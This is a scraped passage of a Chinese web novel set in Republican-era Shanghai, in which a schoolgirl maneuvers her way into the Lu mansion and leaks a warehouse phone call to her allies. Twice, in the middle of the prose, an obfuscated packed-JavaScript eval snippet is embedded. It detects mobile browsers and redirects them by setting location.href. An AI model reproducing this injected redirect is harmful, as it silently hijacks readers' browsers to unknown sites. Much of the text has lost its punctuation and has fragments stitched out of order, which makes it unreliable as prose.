董沁芳头脑灵活,瞬间拿定了主意:“明星就不必了,省得说我们欣欣拾人牙慧。你平时最喜欢看什么节目?如果我们欣欣打着选拔‘欣欣百货最美月历小姐’的称号,来一场大型选美,你会不会感兴趣? 恰巧有位太太走过来,诧笑道:“选美比赛?哪里的选美比赛? 这话声音不小,引得那边的客人们纷纷看过来。 陆世澄和孟麒光也在牌桌上抬头看了眼。 高大公子半开玩笑地说:“董小姐该不是要跟我们逸菲林打擂台吧? 董沁芳借故拉着刘亚乔去别处,刘亚乔佩服地说:“沁芳姐要是认真想法子,谁也比不过你。既然不打算邀请明星,那么此次比赛的选手们务必个个足够优秀才能引起轰动,所谓‘重赏之下必有勇夫’,你得设下高一点的奖金才能引人 来参赛。” “要请明星也不是不可以你听听这标题‘影后段妙卿小姐亲自为欣欣百货选美冠军颁奖’够不够吸引人?市民们一定会好奇影后更美抑或是欣欣百货选出来的冠军更美当晚一定会盛况空前的。” 两人在这边商量得起劲那边陆世澄已经打算离开了。 今晚他决定以身作饵来探探闻亭丽究竟是什么来头可惜从头到尾都没看到她露面。 再待下去不过是浪费时间。 出去后邝志林也是满脸疑惑回身吩咐手下:“去瞧瞧附近有没有人出意外。” 手下们很快就返回:“没有。” 所以闻亭丽就是没来。 邝志林望望陆世澄:“要不……” 陆世澄从上衣口袋里掏出笔在纸上写下一行字。 【当日那帮老太太的底细查清了么?】 “查清楚了。这是一个地下妇女组织名叫卫英帮该帮成立于三十年前专为穷苦女子打抱不平。只要有人向她们求救即会派人出手相援为了不暴露底细成员们每次行动都会易容改装有时扮成黄包车夫有时又扮成老太太有时候又是妙龄女子所以尽管已存在多年却鲜少有人知道她们的底细。” 又道:“不知闻小姐是从何处弄到的卫英帮的联络方式听说卫英帮有很严格的保密措施假如闻小姐答应帮对方保密不肯说实话也正常。” 可是这并不能解释闻亭丽为何会三番四次出现在他面前。 没两天 但两次均未看到闻亭丽现身。 至此陆世澄终于失去了试探她的耐心。 这天从活动现场出来他立在台阶上默默环顾四周一阵风吹过来他在心里想或许一切只是巧合吧。 之后的几天都风平浪静就当陆世澄决定淡忘这件事时闻亭丽居然主动找到陆公馆来了。 陈管事进来回话的时候陆世澄正在书房里签文件听见“闻小姐”这三个字他笔下一顿。 “就是上回那位过来领‘育英奖’的那个学生。”陈管事以为陆世澄忘了忙说“就是那个很活泼的 第 26 章 好奇与追逐。 闻亭丽忙说:“好。” 下人领着她入内。 即将穿过花园时,就看到前头有几个园丁在修路,路中间散了一地鹅卵石,管事为防闻亭丽绊倒,很仔细地领着她避开那些石头。 忽听前方传来“扑楞楞”的声音。 闻亭丽心中一动,拐过一个弯,果然又看见了那群可爱的鸽子,翠绿草坪和雪白鸽子互相衬托着成为瑰丽的一景,陆世澄站在其中,非但不突兀,反而与这景象奇妙地融为一体。 看着看着,闻亭丽脑中忽然冒出个念头,都说儿子肖母,陆世澄相貌和气质如此出众,想来他的母亲也是个大美人,可惜那桩惨案发生时陆世澄才四岁,也不知陆世澄还记不记得自己母亲的样子。 “公子,闻小姐来了。” 闻亭丽忙绽出甜甜的笑容:“陆先生好。” 陆世澄回头望向闻亭丽,闻亭丽对他的审视早有准备,便也坦坦荡荡地望着他。 大约是没能从她的脸上看出忐忑或不安,几秒过后,陆世澄将鸽食递给下人,指了指草坪旁的藤桌和藤椅示意闻亭丽过去坐,那位陈管事忙带人来奉茶点。 茶盘里面不只放着茶和点心,还放着一杯白水。 “谢谢。”闻亭丽厚着脸皮道谢,心知陆世澄多半还记得上回她跟他们要白开水服西药的情形。 陆世澄坐在对侧看着闻亭丽,表情很平静,指指纸条上的字样。 【找我什么事?】 闻亭丽忙取出报名表:“我想报名参加欣欣百货举办的比赛,但米歇尔校长说这等校外大赛需经过董事会批准,所以还得请陆先生像上回话剧比赛那样,在报名表上帮我签个字。” 说话间将表格推到他面前,看到眉栏上的【欣欣百货暨“沪上之花”选美比赛】一行字,陆世澄表情一度有些疑惑。 闻亭丽就等着他多问几句,没想到陆世澄只是瞟一眼底下的高额奖金,就像是猜到了她为何要参赛,毫无难色帮她签了字。 闻亭丽只得露出开心的表情:“我还担心陆先生不同意呢,毕竟选美比赛听上去不够正面,但这次比赛的主办方是欣欣百货的大小姐,董小姐说她办的虽是选美比赛,但此‘花’非‘赏玩之花’,而是寓意‘妇女之美亦有力量’,据说决赛的那 一晚,观众们每给选手投一次票,欣欣百货就给沪上的妇女儿童慈善机构捐赠十法郎(注),故而这是一次实打实的慈善性质的活动,新闻一见报,好些同学想报名,我本来还有些犹豫,但听说董小姐还会以获得冠军的选手的名义捐赠一批物资,所以就——” 陆世澄一直没有打断闻亭丽,但听到这儿,他从衣兜里取出了那支他随身携带的自来水笔。 闻亭丽下意识屏住呼吸,他却只写了一行字。 【我对闻小姐的胜出很有信心,但我还有客人要见,如果闻小姐没有别的事,我叫他们送你出去。】 闻亭丽望着那行字好半天没吭声,她都要怀疑这些日子陆世澄是不是专门研究过她了,不然他怎能每一次都精准地截住她的话头,还叫她发作不得。 疑惑间,她察觉到陆世澄的目光。 再耽搁怕是要叫他起疑了,她只得痛痛快快起身:“那我就不打搅陆先生了。” 她心满意足将报名表收入书袋,起身随管事向外走,这时,陆家下人领着两位客人从花墙后转出来,闻亭丽一抬眼,愣住了。 其中一位是孟麒光。 孟麒光似乎也很意外,望一望闻亭丽,又睨向那头的陆世澄,没作声。 孟麒光旁边那青年男子却是眼前一亮,把闻亭丽从头到脚看了一遍,笑着问孟麒光:“这就是那位闻小姐吧。” 闻亭丽好奇,那男子忙作自我介绍:“在下姓高,叫高庭新,是筱文的大哥,筱文回家经常说起她学校里的同学,闻小姐之名,高某早有耳闻。” 原来是大名鼎鼎的高家大公子,霞飞路那家新开的逸菲林百货公司的老板。 “高先生好。”她客套地打声招呼,继而对孟麒光点点头,便要越过二人身畔向外走。 高庭新却笑嘻嘻拦住闻亭丽:“闻小姐请留步。” 陆世澄在旁看着,冲陈管事使了个眼色,陈管事含笑过来制止:“高公子,闻小姐既是务实中学的学生,同时也是陆公馆今日的客人,还请阁下——” 高庭新忙对陆世澄说:“陆公子别误会,高某绝对无意冒犯闻女士,只是今日高某要同陆先生商量的一件事,与务实的这位闻小姐多少有些关系。原本我也打算稍后去找她,凑巧在此遇见,那就再好不 过了,如陆先生不介意,高某想请闻小姐留下来一起说几句话。” 说着又对闻亭丽一笑:“十分钟足矣。” 闻亭丽听得一头雾水,但这人既然搬出了高筱文,若是掉头就走未必也太不礼貌,况且,这可是个留下来旁听陆家业务的绝佳机会,于是“勉为其难”点点头:“高先生请说。” 陈管事趁机说:“三位,天气太热,那边有茶,请移步到那边说吧。” 高庭新坐下之后并未贸然开腔,而是细细端详一番闻亭丽,转头对陆孟二人笑着说:“我听我妹妹说,闻小姐从前在秀德念书时是校花,到了务实之后,又成了务实的校花,今日一见,此言非虚。陆公子,麒光,你二位所见如何?” 陆世澄转向一边看着远处的鸽子。 孟麒光自顾自垂眸喝茶。 高庭新却是兴致不减:“听说闻小姐已经打算报名参加欣欣百货的选美比赛了?” 闻亭丽大方承认:“对。” “报名表还未递上去吧?同是选美比赛,闻小姐何不参加我们逸菲林即将举办的‘美之韵‘选美比赛?规模比欣欣百货的‘沪上之花‘更大,更引人瞩目,奖金也比欣欣给的多出整整一倍——” 闻亭丽一愣,还没正式开赛高家就忙着挖墙脚,这算是恶意竞争了。不过反过来一想,逸菲林刚开张,欣欣百货就忙着举办大型的选美比赛打击逸菲林,这在高家看来,无疑也是一种挑衅。 她无意掺和两家的是非,便笑问:“不知道高先生举办这次比赛的宗旨是什么?” “自是选出全上海最丰容盛鬋的女子了。”高庭新,“评委全是男性,保证眼光毒辣。” 闻亭丽一听就失去了兴趣。 高庭新却自顾自说得起劲:“高某敢保证这将是历年来最轰动的一次选美比赛,胜出者不可以名利双收,而且——不瞒闻小姐说,逸菲林不久将在虹口开办一家大型游乐场,我和孟先生是股东之一,今日我们来拜访陆先生,就是想看看陆先生是否有兴趣也参与投资。如果闻小姐这次在选美比赛中胜出,不仅逸菲林的百货橱窗会挂上闻小姐的挂历,将来游乐场也会与闻小姐签订长期的肖像合约,这可是一笔持续的收入,会一直维系到数年后合约终止为止。” 听完这儿,闻 亭丽不得不承认高家人相当会做生意高庭新似乎专门打听过她家的底细知道这会儿对她来说钱是最诱人的条件这些话的确让她有些动心。 但她还是倾向于去欣欣百货参赛毕竟这场比赛是在刘亚桥小姐的推动下达成的而且她也更欣赏欣欣这场比赛的宗旨。 “多谢高先生盛情相邀可是欣欣百货给出的条件也很诱人我恐怕……” 她踟蹰了许久最后还是摇摇头:“我恐怕不能答应高先生的请求。” 说着便起身说:“我就不打搅各位谈事情了我先告辞了。” 高庭新万想不到自己开出这样的条件还没叫闻亭丽动心眼看她要走 他追上去没多久就听到花墙后头传来一声惨叫。 陆世澄微吃一惊孟麒光则猛地推开椅子起了身。 “我去瞧瞧。“陈管事疾步带人过去。 下一瞬陈管事扶着闻亭丽从花墙后绕过来了。 闻亭丽面色惨白脚下还一瘸一拐的。 高庭新有点惭愧:“本想跟闻小姐再说几句话没想到竟吓得闻小姐绊了一跤。看样子崴到脚了这可如何是好。” 闻亭丽摆摆手:“都怪我自己不小心高先生不必自责。” 陈管事令人扶住闻亭丽对陆世澄解释说:“阿诚做事不够细心花墙后头的石头散了一地闻小姐刚才走得太急一不小心被石头绊倒了手脚全都擦破了皮只怕还伤到了脚踝我马上请路易斯大夫上门帮闻小姐看看。” 孟麒光从刚才起一直没吭声这时冷不丁对高庭新说:“何必让陆公馆帮忙找大夫人是你吓倒的你好意思袖手旁观么还不快亲自把她送去医院?” 高庭新如梦初醒:“是是是此事因我而去我这就开车送闻小姐去医院。” 陈管事叫去的人早已经回来了:“已经叫人给大夫打电话了。” 说话间用请示的目光看向陆世澄眼看陆世澄没有反对的意思陈管事忙令人将闻亭丽送到客室等候。 闻亭丽半推半就地被送到了一楼东侧的客室。 坐下后她低头看看胳膊上的伤又看看微肿的脚踝虽痛得厉害脸 上却微露笑意,刚才若是不借着高庭新追上来的机会摔一跤,自己岂能顺理成章留在陆公馆。 捡视完身上的伤,就发现这房间的窗户正对着草坪,坐在床边,刚好能看见陆世澄几个所在的位置。 隔着窗户,远远看见高庭新取出一沓东西递给陆世澄。 看样子,他们三人还有的聊。 趁这机会,她迅速环顾自己所在的房间,整洁归整洁,却看不出有人住过的痕迹,想在这儿找线索大约是不可能了,她又朝门外的走廊看了看。 这间房出去,就是小客厅,而小客厅的左手边就是陆世澄的书房,但刚才她进来时曾专门留意过四周的格局,走廊两边分别还有三个房间。 要不要借这机会四处转一转?闻亭丽的心一阵急跳。上次厉成英同她说,刺杀邓院长的那位凶徒背部中了枪,不尽快医治的话很快就会丧命,假如那人被藏在陆公馆,说不定能发现点蛛丝马迹。 刚起身,陈管事带着一个老妈子过来了,进来看见闻亭丽立在床边,讶道:“闻小姐要出去? “我想借用一下盥洗室。 陈管事不疑有他:“让刘妈带你去吧。原来房里就有一间盥洗室,只是房门藏在衣橱后头,所以刚才她没能发现。 闻亭丽就这样被老妈子架着去上了趟厕所。 出来后,陈管事指了指身边的小桌:“路易斯大夫应该快到了,闻小姐若是疼得慌,可以先用热毛巾敷一敷。 桌上搁着一个托盘,里头堆着热气腾腾的湿毛巾和西洋金创药。 闻亭丽忙说:“劳您费心了。陈管事笑着欠了欠身,留下老妈子照看闻亭丽,自己先走了。 这下闻亭丽连出去转转的理由都没有了,百无聊赖坐了一阵,她把目标瞄准了房里的老妈子。 “您吃过晚饭了吗?她热络地开了腔。 刘妈谨慎回道:“吃过了。 闻亭丽忽道:“咦,您真像我家的一个亲戚,您该不是南京那边的吧? “闻小姐认错人了,我是青浦本地的。 闻亭丽再次歪头端详刘妈:“实在是太像了,我那位婶婶年轻时可漂亮了,您当年一定也是个美人。 刘妈忍不住笑道:“闻小姐说笑了。 话虽如此,却含笑抬手理了理鬓发。 闻亭丽依旧是一副认真凝视她的神气:“我才没有说笑。我那婶婶也跟您一样是鹅蛋脸,大眼睛,可惜我没带她的照片,您自己瞧了估计也会说像的。” “真有这么像?”刘妈疑惑。 “真有这么像。”闻亭丽很肯定地点头,“她面皮还没您白呢,我都不敢猜您当年有多好看。” 刘妈苦笑着说:“年轻的时候是还过得去,现在么,老菜皮一张还有什么可说。” “老?”闻亭丽讶笑,“您可一点也不老。” 刘妈觑着闻亭丽,这孩子的表情是那样的真诚,让她心里既疑惑又欢喜,不由问道:“闻小姐猜我多大岁数。” “四十多岁,最多四十五。” “哪有!”刘妈皱眉笑道,“都五十多了!十八岁进的陆家,一转眼都快四十年了。” 闻亭丽一震:“五十多?您看着实在年轻。您这些年一直在陆家?东家一定待您很好吧。我妈说,只有日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178235|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过得极顺心的人才会显年轻。” “是很好。”刘妈叹息,“前后三位陆先生都待下人极好,尤其是我们这位澄少爷,那叫一个斯文和气哟。可是东家再和气也没用,我这辈子还是没少受气。” 半个钟头后,刘妈已经将闻亭丽视作自己的半个知心人,对其大吐苦水,从她那不争气的大儿子说起,一直说到更不成器的小儿子,一个劲地发牢骚。 闻亭丽耐心聆听,每当刘妈说到委屈处,她就会充满同情安慰几句,刘妈颇受触动,话题也就越扯越远。 “所以您的小儿子跟陆小先生差不多大?” “同一年出生的。”刘妈感慨万千,“但澄少爷自小就懂事,自己一个人也能玩,也不吵也不闹的,不论学什么一遍就能学会,不像我家那个,除了捣乱别的都不成。” 闻亭丽诚心诚意地说:“我听老人说,这样的孩子坏就坏在懂事晚,但只要懂起事来,比谁都孝顺体贴,所以您不用发愁,您的儿子日后一准不会叫您失望的。” 刘妈多多少少被这话安慰到了:“不指望他们孝顺我,少叫我受点气我就谢天谢地了。你不知道我这两个不肖子这些年闯过多少祸,记得有一年,我那小儿子喂坏了三爷最喜欢的一匹马,亏 得澄少爷拦在头里,不然这崽子准被三爷狠狠排揎一顿,只是澄少爷原本就跟三爷不亲,这一来,三爷就硬说澄少爷是为了气他才如此,老太爷听见这消息,就以忤逆长辈的名义,叫澄少爷在外头罚跪了一下午,可怜澄少爷本就有哑疾,被冤屈了也没法开口为自己辩解,两只膝盖都跪青了,唉,这事说起来都是我们的过错,儿子闯祸,我这当妈的也跟着没脸。 闻亭丽一怔,陆老先生处事竟如此不公么? “那时候您的小儿子多大? “十岁。 所以陆世澄当时也才十岁。 陆老先生为着一个已经成年的儿子,竟毫不留情地处罚尚未成年的长孙,为的还是一个莫须有的罪名。这实在是出人意料,陆世澄父母早亡,陆老先生即便要偏心,也该更偏疼无人照拂的长孙才是。 转念一想,上次黄远山就说过,那位陆老先生一向更偏疼南洋姨太太所生的儿子,再加上陆世澄小小年纪就成了“哑巴,遇事也无法为自己辩解,倘若那两位叔叔能言善道,自然有各种办法挑拨他们祖孙之间的关系。 由此可见,陆世澄成年之前的日子都不大好过。 她“咦 刘妈点头:“三爷现在一个人北平,老太爷则大半时间住在南洋。 “陆三爷为何不在上海住? “三爷跟我们少爷—— 仿佛意识到自己的话说得太多,刘妈陡然顿住了,忙不迭认真一番回想两个人刚才的对话,悬着的心落了地,闻小姐从头到尾不过是接她的话而已。 她讪讪地说:“瞧我,刚才只顾着说话,都没问闻小姐要不要喝水。 “我不渴,就是脚上有点疼。闻亭丽伸手摸摸托盘里的毛巾,“毛巾有点凉了,能不能请您再帮我弄条热的来,我想趁热敷一敷。 这孩子说起话来莫名让人觉得亲切,刘妈忙不迭说:“这房里没开水,我去后厨房弄点热帕子来,闻小姐在这等一等。 刘妈一走,闻亭丽便一瘸一拐挪到了门边。 *** 这时,外头三人的谈话也告一段落了。 高庭新说:“改日高某陪陆先生去虹口参观参观,逸菲林这个游乐场值不值得出资,陆先生一看便知道。 陆世澄翻了翻他们带来的文书,无意间一抬眸,就看见刘妈端着托盘从公馆东侧的小客厅出来。 他正要收回目光,一怔之下,忽又将视线挪回去,定定看了几秒,随即转头找寻陈管事的踪影,陈管事大约是在忙别的事,也不在附近。 再看一眼刘妈出来的方向,又看看拉着窗帘的客房,他瞬间做了个决定,举了举那份计划文书表示自己会好好考虑,又抬起腕表看看时间。 高庭新和孟麒光都是人精,见状忙笑道:“既然陆小先生还有别的事要忙,我们就不继续叨扰了,陆小先生独具只眼,相信不久就会给我们回消息。 陆世澄起身跟二人握手,令下人领他们出去,在原地略站了一站,掉头朝另一侧走。 孟麒光转头若有所思望着陆世澄的背影,又看了看主楼的东翼。 “在看什么?高庭新好奇。 孟麒光面色淡淡的:“没什么,走吧。 陆世澄径直踏上台阶,朝厅内一看,陈管事果然不在里头。 他迅即转头看向书房,门关着,走过去轻轻拧开门把手,里面并无人影。 出来后四下一顾,确定这周围一个下人都没有。默了默,他扭头看向东边客室的方向。假如一个人要从陆家弄东西,此刻无疑是个好时机。 毫不犹豫地,他轻步向闻亭丽所在的客房走去,地毯够厚,步伐很稳,一路走过去半点声音都无。 即将到门口了,忽向后一收,尽管视线收得够及时,但他还是清楚地看见了房内的情形。 闻亭丽正坐在床边捧着她的小本子在读单词。 她今日穿着洋裙,两条光溜溜的小腿就那样垂落在床边,脚下原本穿着一双白袜子和黑色娃娃头皮鞋,现在左边的鞋袜都脱了,露出雪白的脚面,脚踝处略有些红肿。 她并没有四处走动,而是留在客房里背单词。 陆世澄不免有些懊恼,在门外怔立几秒,正要转身离去,转身时不小心碰到一旁的门把手,发出细微的一声响。 “刘妈? 闻亭丽一跳一跳出来了,见是陆世澄,不由有些吃惊。 “陆先生?! 陆世澄只好佯装无事回头看向闻亭丽。 他无法向她解释自己为何突然出现在这儿。 倘若声称自己是过来寻陈管事,闻亭丽也知草坪上有的是下人,要传话不必他亲自过来。 可要说他专门过来探望她的伤势,他和她好像没那么熟。 在他踟蹰的这当口,闻亭丽仿佛也察觉空气中的不对劲,狐疑地望他一眼:“您是来找我的? 作者有话要说 第 27 章 【加更】意犹未尽... 陆世澄当机立断从她手里抽走单词小本子,在上头写了一行字。 【想起一件事想问问闻小姐,所以过来看看你走没走。】 闻亭丽神色一松:“您要问我什么?” 忽然想起自己脚下未穿鞋,她脸一红,忙说:“您稍等一等。” 说着像刚才那样一跳一跳退回去,嘴里道:“您过来之前也不先打个招呼,我还以为是刘妈呢。” 她顺手把门关上。 陆世澄就这样被晾在了走廊上,他用怀疑的目光看看四周,没记错的话,这好像是他的陆公馆。 好在他只在门外等了一会,闻亭丽就重新把门打开,这回她穿好了鞋子。 “您说吧。”穿上鞋袜后她似乎疼得慌,说话时只能倚在门上。 陆世澄望一眼她的脚,体谅地指了指房内的沙发。【进去坐,我问完就走。】 闻亭丽却有些腼腆:“没关系的,您在这儿说吧。” 陆世澄想了想,便要在她的小本子上写字,走廊上传来说话声。 “路易斯大夫,请这边走。咦,少爷怎么也在这儿?”陈管事震惊地看看陆世澄,又看看闻亭丽。 闻亭丽忙说:“陆先生有话要问我。” 陈管事未再多问:“这位是路易斯大夫,他看外伤很有经验的,闻小姐进去吧。” 又对陆世澄说:“少爷是先问话呢,还是先请路易斯大夫给闻小姐看病?” 陆世澄瞥向闻亭丽,问完他便可以借故离开了,但她似乎疼得厉害,出于礼貌,只好指了指房内,先给她看病吧。 这当口刘妈回来了,见状,忙放下托盘扶闻亭丽进了房间。 陆世澄不便跟进去,就那样再一次被晾在了走廊里。 房间里,闻亭丽正用英文跟路易斯大夫交流自己的伤情。 她语调轻快,英语说得也很合文法。 陆世澄边听边想,不必猜,路易斯大夫很快也会变得话多起来,果然没一会,路易斯的口吻就不似刚进屋时那样严肃,甚至还“嗬嗬嗬嗬”地笑了两声,刘妈也对闻亭丽颇有好感,进屋后一个劲地帮忙递水递药。 陆世澄插起了裤兜向外走,他对此已经习以为常了,一回身,才发现陈管事仍站在自己后头,从陈管 事满脸讶色的模样来看,俨然也对闻亭丽这出众的交际能力感到吃惊。 陆世澄率先离开走廊,陈管事回过神说:“快七点了,我让他们将少爷的晚饭呈上来。” 二十分钟后,路易斯大夫提着医箱出来了。 “胳膊和膝盖上的皮外伤已经弄好了。比较严重的一处伤是左踝软组织的水肿,不算重,刚才我给密斯闻做了包扎和固定,休息几天问题不大的。” 陆世澄跟路易斯大夫握手致谢,陈管事让人送路易斯大夫出去。 客厅重新恢复了寂静,趁着眼下清闲,陆世澄到书房里回了几封信,不久就有下人在偏厅摆晚膳了。“澄少爷,晚饭好了。” 陆世澄刚出来,就看见刘妈扶着闻亭丽出来。 闻亭丽一面艰难挪步,一面说:“刘妈你别送了。路易斯大夫都说我的伤一点也不重,况且上药之后也不疼了,我可以自己走的。” 她左边的脚踝上缠上了纱布,远看活像包着一颗大蒜。 抬头看见陆世澄站在偏厅的餐桌旁,她忙停下来说:“多谢陆先生帮忙请大夫,对了,您刚才要问我什么事来着?” 陆世澄自是无话可问,但如果不问,他先前的行径就显得极其鬼祟、极其可疑了,刚好他心里有一件事疑惑很久了,便煞有介事令人将纸和笔拿过来,忽一眼看见桌上的饭菜。 但都到这个时间了,问完话就叫她走,实非待客之道。 只好写了句: 【闻小姐脚上受了伤,不如先在敝处用过晚膳,稍后再问你一件事。】 本以为闻亭丽会客气几句,结果她只愣了愣,便腼腆笑道:“那就却之不恭了。” 陆世澄面色无改,马上令人再添一副碗筷。 闻亭丽小声问刘妈电话在何处,说想给家里打个电话。 陆世澄继续立在那儿等着,不一会,就听见闻亭丽对电话那头叫“周嫂”,紧接着,又换了一副可爱的声气,小声笑着说:“小桃子今天乖不乖?姐姐当然乖了!你跟周嫂先吃饭,对,必须把饭吃光光,不然姐姐回来不给你买糖糖。” 陆世澄暗猜那是闻亭丽的妹妹,邝志林说她的父亲已是病入膏肓,现在闻家的一切,全是闻亭丽一个人在支撑。 但自打第一次见她, 他好像从没在她脸上见过愁苦之态—— 正出神闻亭丽放下电话回到了餐厅。 看见陆世澄立在桌边等她她顿时有些无措:“您实在是太客套了您快请坐。” 碰巧陈管事用完晚膳回来见此情形不免有些摸不着头脑但他反应极快疾步走过来帮闻亭丽拉开一把餐椅笑道:“少爷说这菜有些清淡也不知道合不合闻小姐的胃口。” 闻亭丽一看桌上只有三菜一汤看来陆世澄在吃饭方面倒是很随便怪不得上次她请客时陆世澄嫌她菜点得太多。她本意也不想在陆家蹭饭不过是寻个借口再多逗留一会假如这时候有人给陆世澄打电话她说不定能听见些什么。 她忙摆摆手:“我什么都爱吃平日我晚饭时也吃得很随便您千万不必再费事。” 话虽如此陆世澄还是让陈管事吩咐厨房再添了几个菜。 陆家厨房干活快得出奇才十来分钟就将菜送过来了。 第一道菜是红烧秃肺另外两道分别是油面筋塞肉和扁尖腐衣汤。这都是上回她请客时点过的 闻亭丽抬眸望向陆世澄这个人的教养几乎刻在了骨子里。她见过不少假装有教养的富户充其量能够伪装一时不像陆世澄此人是真懂得观察和体恤旁人的情绪那样敏锐那样懂得尊重同时又不露痕迹。即便只是临时留她吃饭也不是讲假客气而是毫不敷衍。 她非常淑女地拿起筷子她是从来不惧与人交际的今晚还是头一次在人前露出拘谨的姿态。 安安静静吃了一顿饭下人撤下桌盘把茶奉上来陆世澄开始问话了。 【你跟卫英帮的人是怎么认识的?】 闻亭丽茫然地看着单词本上的这行字卫英帮?什么卫英帮? 空气就这样静默下来陆世澄的目光也随之淡了几分他静等着闻亭丽做反应。 “我不能说。”忽然间闻亭丽福至心灵顽皮地摇了摇头“虽说那次陆先生也帮了我的大忙但关于这件事恕我也不能详述。” 她的笑甜得几乎能把人融化。 陆世澄不禁垂下眼眸虽然一开头她明显滞了一下但后头的表现全无破绽而且这番话跟邝志林调查 的结果相吻合:她因为受了卫英帮的恩所以才三缄其口。 他适时地打住了话头。 【天色不早了,我叫他们送你回去。】他起身看着她。 他并不知道闻亭丽背后早已爬满了冷汗。 刚才这个问题,打得她措手不及。“卫英帮——她确信自己从未听过这个名字。 发愣的那一瞬间,她把脑子里跟这三个字有关的人和物迅速搜罗了个遍,结果一无头绪,但她知道,陆世澄问的这个问题,一定与他们的某段共同经历有关,可是她跟陆世澄总共也没相处过几次,忽想起那日的遭遇,难不成他问的是那帮老太太? 毕竟事后她也好奇对方的来历来着,只不过厉成英为了保护那帮女子一句也没跟她多说。 为了不让陆世澄继续逼问,她只能冒险赌一把,故意回应得很含糊,并且及时止住了话头。这种情况下,话越多,破绽就越多。 好在她赌对了,陆世澄看上去并未起疑。 她不敢让他看出她的双腿已经被吓软了,借着低头喝茶的工夫在桌边又磨蹭了一会。 陆世澄也未催,只是这光景落在陈管事眼里,倒像是闻亭丽故意不肯走。他有点好笑地想:这样大方的小姑娘,难得也有害羞的一面。 等到闻亭丽起来,陆世澄便让人扶她出去,一扭头,就看见陈管事脸上挂着饱含深意的笑容。 闻亭丽也瞧见了,她一想就明白陈管事误会了,罢了,这情形的确不好解释,又悄悄溜一眼身边的陆世澄,陆世澄比陈管事还要机敏百倍,连陈管事都能看出她刚才不对劲,不知他现在又是怎么想她的。 陆世澄却仿佛毫无所觉,仅是指着客厅外做了个手势。 陈管事把脸色正了一正:“让司机把闻小姐送回家? “真不用。 陆世澄看看她的脚下,闻亭丽顺着一看,她的左脚都被包成这样了,再逞强就有些惺惺作态了。 “那就谢谢陆先生了。她轻声说。 陆世澄面色无波向外走,陈管事令人把陈妈找来搀扶闻亭丽。 刚送到台阶上,客厅的电话响了。 陈管事恰在外头叮嘱司机,屋里的下人便接起 了电话:“找少爷的。 陈管事忙在外头说:“叫他等一等,稍后会回过去。 下人便要挂断电话,但那边也不知说了什么,下人慌了起来:“少爷,是天星货栈的娄老板打来的,说是很紧急的事,叫您赶快听电话。 陆世澄对陈管事使了个眼色,陈管事忙道:“先挂断。 闻亭丽心跳加快,趁势说:“多谢陆先生,多谢陈管事,多谢刘妈。再见。 说着向台阶上的人鞠了一躬,弯腰上了汽车。 陆世澄回身进客厅,边走边指了指电话。 “要给娄老板回电话吗?陈管事语气急切。 陆世澄刚要点头,忽又改了主意。 他想起了先前问话时闻亭丽那短暂的怔忪。 在他看来,闻亭丽就像一只狡猾的小狐狸。每当他怀疑她的动机时,她总能不露痕迹地化解他的疑心。 可是不知不觉间,这已是第二次他跟她同桌吃饭了,而且这一次,她干脆光明正大在他家用的晚餐。 仔细一想,她好像总能找到合理的理由接近他。再看看身边的陈管事和刘妈,他们好像也对闻亭丽并不反感。 陆世澄说不上哪里不对劲,插着裤兜踱了几步,停下来指着电话做了个手势,陈管事怔然:“要找邝先生?那娄老板那边——好,我马上就给他打电话。 *** 因着陆世澄的交代,司机将汽车驶出陆公馆之后,一径开往白尔路的寓所前。 路上,闻亭丽反复回想今晚跟陆世澄相处的情形,尽管他待她这样周到,她却不敢保证他没对她起疑心,毕竟陆世澄太深,也太静了。 但厉成英说得对,想让对方不起疑心是不可能的,只要陆世澄拿不出证据证明她有问题,他就拿她没办法。 而现在,她却不得不冒险了。 刚才电话里提到的天星货栈似乎是一个专门运货的机关,对方的语气又是那样急,假如这电话跟那批药有关系,这显然是个不容错过的机会。 只要她立刻给厉成英打电话,那边很快就会有所行动。 但如此一来,陆世澄就能明确知道是她走漏的消息了,毕竟刚才电话打过来时,她就在他身边。 可她眼下还在务实念书, 不,何止务实这一时期,得罪陆家之后,她在上海的处境只会比当初被乔老爷和乔太太针对时更艰难百倍。 这样的后果她能不能承受得起?她扪心自问。 一路上,她的内心都做着激烈的斗争,快到家时,陡然想起那日在医院看到的邓院长那重伤昏迷的样子,不能再犹豫了,邓院长处在极大的危险之中,每错失一次调查的机会,邓院长的生命就会多遭受一次威胁。 何况邓院长身后,还有厉成英一帮人——只要她愿意,她随时可以反过头来向陆世澄出卖他们,但他们还是毫不保留地将自己的联络方式、联络地点、以及中每个人的“后背”都亮给她看,甚至包括她们跟卫英帮有往来的事实——不,她不能辜负她们对自己的信任,至少,现在绝不是只考虑自身利益的时候。 下车后,她再三向陆家的司机道谢,等到司机将车开远了,便立即拐出来到附近的电话局给厉成英打电话。 “厉姐,是我……对,天星货栈,那边好像很紧急的样子。” 打完这通电话,闻亭丽在电话局里呆坐着,她知道,厉成英的能力和行动速度超乎她的想象,厉成英这一动,陆家那边马上就会有所察觉。 最迟明天,不,也许就在今晚,陆世澄就会确定她有问题,万一陆家因此蒙受了很大的损失,陆世澄会怎么对付她简直不敢想。 她无意识将两手插在头发里,兀自发着呆。趁着陆家还没发动行动之前,她得连夜为自己和小桃子准备一条后路。 要不去南京或是杭州躲一阵吧,对,明天清早就出发。 大额的支票和银票藏在她的贴身小衣里,首饰么,平日都收在她的书袋里,要走随时可以走。 除此之外,包律师当初还跟她签订过合同,为了补偿她所承担的风险,将来他会以曙光律师事务所的名义赔偿她一千大洋,如此庞大的一笔现金,再加上她身上现有的钱,足够她和小桃子维持个几年了。至于到了杭州或是南京之后怎么办,她相信车到山前必有路。 念头一起,闻亭丽立即打电话到祥升车行订了三张去南京的火车票(注), ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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孟麒光一哂:“可是你别忘了,我孟麒光可不是乔杏初,他护不住的,不表示我护不住。 